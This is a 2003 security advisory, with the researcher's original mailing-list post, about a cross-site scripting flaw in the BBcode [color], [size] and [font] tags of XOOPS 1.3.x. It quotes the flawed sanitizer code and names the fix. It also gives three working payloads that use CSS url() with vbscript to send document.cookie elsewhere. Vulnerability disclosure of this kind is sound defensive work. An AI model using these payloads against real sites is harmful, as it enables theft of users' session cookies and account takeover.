XOOPS Input Filtering Flaw in BBcode Tags Permits Remote Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1007495
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Aug 13 2003
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Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
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Version(s): 1.3.x and prior versions
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Description: An input validation vulnerability was reported in XOOPS in the processing of BBcode tags. A remote user can conduct cross-site scripting attacks.
Frog-m@n reported that the 'textsanitizer.php' script does not properly filter user-supplied HTML code contained in the '[color]',
'[size]', and '[font]' BBcode tags. The Private Messages, News, and NewBB modules are affected. A remote user can create a message
containing specially crafted BBcodes so that when a target user views the message, arbitrary scripting code will be executed by
the target user's browser. The code will originate from the site running the XOOPS software and will run in the security context
of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any,
associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site
acting as the target user.
Some demonstration exploit strings using the url() function are provided:
[color=FFFFFF;background:url(vbscript:location.replace(Chr(97)+
Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/color]
[size=10;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(
102)+document.cookie))]a[/size]
[font=Verdana;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/font]
According to the report, the expression() function can also be exploited.
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Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
XOOPS software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as
the target user.
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Solution: It is reported that the lastest version (2.0.3) is not vulnerable. XOOPS is available at:
http://www.xoops.org//general/download.php
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Vendor URL: www.xoops.org/ (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: "Frog Man" <leseulfrog@hotmail.com>
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Message History:
None.
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Source Message Contents
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Date: Wed, 13 Aug 2003 13:32:07 +0200
From: "Frog Man" <leseulfrog@hotmail.com>
Subject: [VulnWatch] BBCode XSS in XOOPS CMS
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Informations :
°°°°°°°°°°°°°
Language : PHP
Bugged Versions : 1.3.x and less (+ 2.0.x and less ? not checked)
Safe Version : 2.0.3
Website : http://www.xoops.org
Problem : BBcode XSS
PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
This hole can be used in modules :
- Private Messages
- News
- NewBB (forum)
class/module/textsanitizer.php :
---------------------------------------------------------------------------------------
[...]
function xoopsCodeDecode($text){
$patterns = array();
$replacements = array();
[...]
$patterns[] = "/\[color=(['\"]?)([^\"']*)\\1](.*)\[\/color\]/sU";
$replacements[] = "<span style='color: #\\2;'>\\3</span>";
$patterns[] = "/\[size=(['\"]?)([^\"']*)\\1](.*)\[\/size\]/sU";
$replacements[] = "<span style='font-size: \\2;'>\\3</span>";
$patterns[] = "/\[font=(['\"]?)([^\"']*)\\1](.*)\[\/font\]/sU";
$replacements[] = "<span style='font-family: \\2;'>\\3</span>";
[...]
$text = preg_replace($patterns, $replacements, $text);
[...]
return $text;
[...]
function oopsHtmlSpecialChars($text) {
$text = htmlspecialchars($text);
$text = str_replace("'","'",$text);
return $text;
[...]
---------------------------------------------------------------------------------------
Exploit :
°°°°°°°
-----------------------------------------------------------------------------------------------------
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[color=FFFFFF;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(
102)+document.cookie))]a[/color]
[size=10;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+
document.cookie))]a[/size]
[font=Verdana;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(
102)+document.cookie))]a[/font]
-----------------------------------------------------------------------------------------------------
------------------------
function url() from style tag (css) and vbscript are used here to redirect
to the url "abcdef" + the cookie with the bbcode tags [color] [size] and
[font].
Another style function that could be used is expression().
Patch :
°°°°°°
Just download the las version of XOOPS (2.0.3).
frog-m@n
http://www.phpsecure.info
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